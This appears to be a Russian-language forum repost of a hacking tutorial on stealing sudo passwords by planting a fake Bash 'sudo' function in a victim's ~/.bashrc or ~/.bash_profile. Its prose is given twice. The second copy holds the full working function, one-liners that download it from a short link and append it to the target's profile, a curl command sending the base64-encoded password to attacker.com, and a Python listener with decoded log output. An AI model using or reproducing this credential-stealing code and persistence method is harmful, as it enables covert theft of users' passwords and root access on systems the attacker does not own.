С помощью простого трюка социальной инженерии, пароли sudo могут быть захвачены в считанные секунды без ведома цели. Пароли могут быть сохранены в файл или будут отправляться к другому компьютеру.
После эксплуатирования системы, пентестеры и хакеры часто начинают атаки эскалации привилегий (privesc). Такие атаки включают эксплуатацию ядра и фишинг паролей. Рекомендуемая здесь атака использует подход социальной инженерии, используя функции Bash для эмуляции функциональности команды sudo.
Как Sudo должен работать
Давайте используем следующие команды whoami и id в качестве примера. Если мы введем whoami в терминал, он вернет текущее имя пользователя.
Команда id вернет uid пользователя (-u), уникальный идентификатор, назначенный каждому пользователю в системе. По умолчанию в системах Debian и Ubuntu обычному пользователю (не root) присваивается uid 1000 (показано ниже). Аналогично, в mac OS обычному пользователю присваивается 501 uid.
При добавлении sudo повышается и выполняется предоставленная команда с правами root (uid 0). Это стандартное и нормальное поведение для систем Unix.
Команда type может использоваться для определения того, как предоставленная команда интерпретируется оболочкой.
В этом случае sudo интерпретируется как /usr/bin/sudo. Это тоже стандартное поведение. Когда кто-то выполняет команду sudo (например, sudo whoami), они по существу делают следующее.
Как Работают Функции Bash
Способ интерпретации sudo (или любой команды) может быть изменен таким образом, чтобы он был прозрачным для пользователя. Как и псевдонимы Bash, сложные функции можно импортировать в оболочку. Возьмите приведенный ниже GIF в качестве примера.
Мы видим, что выполнение обычной команды apt-get update завершается неудачей, потому что "sudo" больше не интерпретируется как прямая ссылка на реальный двоичный файл sudo. Теперь это функция, которая печатает произвольный текст. Этим очень легко злоупотребить. Функция "sudo" может вести себя точно так же, как настоящий sudo, при записи и эксфильтрации пароля цели.
У Вас Уже Должен Быть Удаленный Доступ
В данной статье предполагается, что удаленный доступ к целевой системе установлен. С macOS target, это может быть достигнуто с необнаруживаемой полезной нагрузкой, USB drop attack или USB Rubber Ducky. Серверы Ubuntu и Debian также могут использоваться с использованием различных SSH и серверных уязвимостей.
Создание вредоносной функции Bash
Этот вид злоупотребления лучше демонстрируется в нижеследующей функции.
Давайте посмотрим, как эта функция выглядит для цели.
Как мы видим, цель по-прежнему запрашивается с запросом пароля при попытке установить программное обеспечение.
Захваченный пароль сохраняется в файле /tmp/hackedPasswd.txt
Целевые Системы Debian И Ubuntu
В системах Debian и Ubuntu, когда открывается новый терминал или оболочка, выполняется файл ~/.bashrc . Этот файл (который может быть изменен пользователями без root) обычно определяет полезные атрибуты, такие как псевдонимы, ограничение истории и переменные цвета. Он также может быть использован для импорта вредоносных функций Bash. Это будет работать для серверов Debian, Ubuntu и систем macOS.
Для удобства я загрузил вредоносную функцию sudo на свою страницу
Это добавит ( >> ) функцию sudo в нижнюю часть цели .bashrc файла. С этого момента, когда цель входит в свой сервер (например, SSH) и выполняет команду sudo, отправленный пароль в терминал будет сохранен в каталоге /tmp. Кроме того, если curl не установлен в целевой системе, можно использовать wget.
Целевые системы macOS
Этот вид атаки менее эффективен против пользователей mac OS. Просто потому, что они не так часто открывают терминал и выполняют команды с повышенными правами. Пользователям MacOS команда sudo не нужна так часто, как пользователям VPS или Ubuntu desktop. Тем не менее, я покажу, как настроить это против цели macOS, поскольку это может быть полезно для некоторых пентестеров, исследующих каждый возможный маршрут, чтобы повысить их бэкдор.
Как ~/.bashrc , macOS выполняют
Когда цель открывает терминал и выполняет команды с sudo, пароль будет сохранен в каталоге /tmp. Это показано на скриншоте ниже.
Как Вытащить пароль
В дополнение к сохранению пароля в каталоге / tmp желательно чтобы пароль был отправлен на другой компьютер или сервер. Правильный прослушиватель PHP может быть настроен для перехвата данных, содержащих пароль.
Я решил взять немного неортодоксальный подход и предложить быстрое и грязное решение. Для этого метода требуется простой сервер Python3, настроенный в системе Kali злоумышленника. http.server (- m) создаст веб-сервер с использованием порта 80.
Есть команды для кодирования и кражи паролей, записанных в функции sudo. Он отключен по умолчанию и должен быть раскомментирован, чтобы включить его.
Пароль закодирован с помощью base64, чтобы упростить отправку URL-адреса. Curl используется для запроса GET на сервер злоумышленника, расположенном на "attacker.com" домене. Этот домен следует изменить на локальный IP-адрес злоумышленника (192.168.1.X) или IP-адрес VPS. Ошибки и выходные данные, генерируемые командой curl, принудительно вводятся в /dev / null с перенаправлением 2>&1. Это предотвращает случайное сообщение curl об ошибках в терминале, если сервер злоумышленника по какой-либо причине недоступен.
Имя пользователя и пароль цели фактически отправляются в URL-адресе. Представьте, что вы просите "
Источник
После эксплуатирования системы, пентестеры и хакеры часто начинают атаки эскалации привилегий (privesc). Такие атаки включают эксплуатацию ядра и фишинг паролей. Рекомендуемая здесь атака использует подход социальной инженерии, используя функции Bash для эмуляции функциональности команды sudo.
Как Sudo должен работать
Давайте используем следующие команды whoami и id в качестве примера. Если мы введем whoami в терминал, он вернет текущее имя пользователя.
Код:
whoami
tokyoneon
Код:
id -u
1000
Код:
sudo id -u
0
Код:
type sudo
sudo is /usr/bin/sudo
Код:
/usr/bin/sudo /usr/bin/whoami
root
Способ интерпретации sudo (или любой команды) может быть изменен таким образом, чтобы он был прозрачным для пользователя. Как и псевдонимы Bash, сложные функции можно импортировать в оболочку. Возьмите приведенный ниже GIF в качестве примера.
Мы видим, что выполнение обычной команды apt-get update завершается неудачей, потому что "sudo" больше не интерпретируется как прямая ссылка на реальный двоичный файл sudo. Теперь это функция, которая печатает произвольный текст. Этим очень легко злоупотребить. Функция "sudo" может вести себя точно так же, как настоящий sudo, при записи и эксфильтрации пароля цели.
У Вас Уже Должен Быть Удаленный Доступ
В данной статье предполагается, что удаленный доступ к целевой системе установлен. С macOS target, это может быть достигнуто с необнаруживаемой полезной нагрузкой, USB drop attack или USB Rubber Ducky. Серверы Ubuntu и Debian также могут использоваться с использованием различных SSH и серверных уязвимостей.
Создание вредоносной функции Bash
Этот вид злоупотребления лучше демонстрируется в нижеследующей функции.
Код:
function sudo () {
# A "realsudo" variable is created. It calls the `which` command to locate
# the path to the real sudo binary. This is used later in the function to
# execute the target's desired command.
realsudo="$(which sudo)"
# The `read` command will prompt (`-p`) the target with a convincing password
# request. The `-s` argument hides the input password, just as the real
# sudo command would. The target password is then set in the "inputPasswd"
# variable.
read -s -p "[sudo] password for $USER: " inputPasswd
# There are two `printf` commands here, separated by a semicolon.
# The first simply prints a new line in the terminal, as the real sudo
# does. The second writes the target's username and password to a
# file called "hackedPasswd.txt" in the /tmp directory.
printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt
# As an alternative to writing the password to the /tmp directory,
# it can be exfiltrated to the attacker's server. Uncomment the below
# "encoded" and "curl" lines to enable this function. The password
# is encoded with `base64` to make it easier to transmit in the URL.
# encoded=$(printf '%s' "$inputPasswd" | base64) >/dev/null 2>&1
# curl -s "http://attacker.com/$USER:$encoded" >/dev/null 2>&1
# The `-S` option allows users to input their sudo password using the command
# line. This is used to run an arbitrary `exit` command (`-c`) as the root
# user (`-u`) to unlock the sudo timeout function. This command and its
# output are hidden (/dev/null) from the target. It's only here to allow
# sudo usage for future commands.
# For more on sudo timeouts and /dev/null, see:
# https://itsfoss.com/change-sudo-password-timeout-ubuntu/
# https://stackoverflow.com/questions/10508843/what-is-dev-null-21
$realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1
# With the sudo timeout engaged, privileged commands can be run without
# prompting the user for a password. This line will execute the target's
# desired command.
$realsudo "${@:1}"
}
Как мы видим, цель по-прежнему запрашивается с запросом пароля при попытке установить программное обеспечение.
Захваченный пароль сохраняется в файле /tmp/hackedPasswd.txt
Целевые Системы Debian И Ubuntu
В системах Debian и Ubuntu, когда открывается новый терминал или оболочка, выполняется файл ~/.bashrc . Этот файл (который может быть изменен пользователями без root) обычно определяет полезные атрибуты, такие как псевдонимы, ограничение истории и переменные цвета. Он также может быть использован для импорта вредоносных функций Bash. Это будет работать для серверов Debian, Ubuntu и систем macOS.
Для удобства я загрузил вредоносную функцию sudo на свою страницу
Ссылка скрыта от гостей
. Его можно загрузить в систему цели, используя следующую команду.
Код:
curl 'https://git.io/fhNWm' >> ~/.bashrc
Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bashrc
Этот вид атаки менее эффективен против пользователей mac OS. Просто потому, что они не так часто открывают терминал и выполняют команды с повышенными правами. Пользователям MacOS команда sudo не нужна так часто, как пользователям VPS или Ubuntu desktop. Тем не менее, я покажу, как настроить это против цели macOS, поскольку это может быть полезно для некоторых пентестеров, исследующих каждый возможный маршрут, чтобы повысить их бэкдор.
Как ~/.bashrc , macOS выполняют
Ссылка скрыта от гостей
при открытии терминала. В этом файле могут храниться вредоносные хэш-функции. Используйте приведенную ниже команду wget для импорта функции в профиль bash цели.
Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bash_profile
Как Вытащить пароль
В дополнение к сохранению пароля в каталоге / tmp желательно чтобы пароль был отправлен на другой компьютер или сервер. Правильный прослушиватель PHP может быть настроен для перехвата данных, содержащих пароль.
Я решил взять немного неортодоксальный подход и предложить быстрое и грязное решение. Для этого метода требуется простой сервер Python3, настроенный в системе Kali злоумышленника. http.server (- m) создаст веб-сервер с использованием порта 80.
Код:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
Код:
encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
Имя пользователя и пароль цели фактически отправляются в URL-адресе. Представьте, что вы просите "
http://192.168.1.X/tokyoneon:sUp3R-S3cUre_P@$$w0000rD!
." Запрос, безусловно, не удастся, такой веб-страницы нет. Однако закодированный пароль будет сохранен в журнале ошибок злоумышленника. Ниже приведен пример такой ошибки.
Код:
Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [27/Feb/2019 00:05:12] code 404, message File not found
127.0.0.1 - - [27/Feb/2019 00:05:12] "GET /user:c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ== HTTP/1.1" 404 -
echo 'c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ==' | base64 -d
sUp3R-S3cUre_P@$$w0000rD!
Источник
Ссылка скрыта от гостей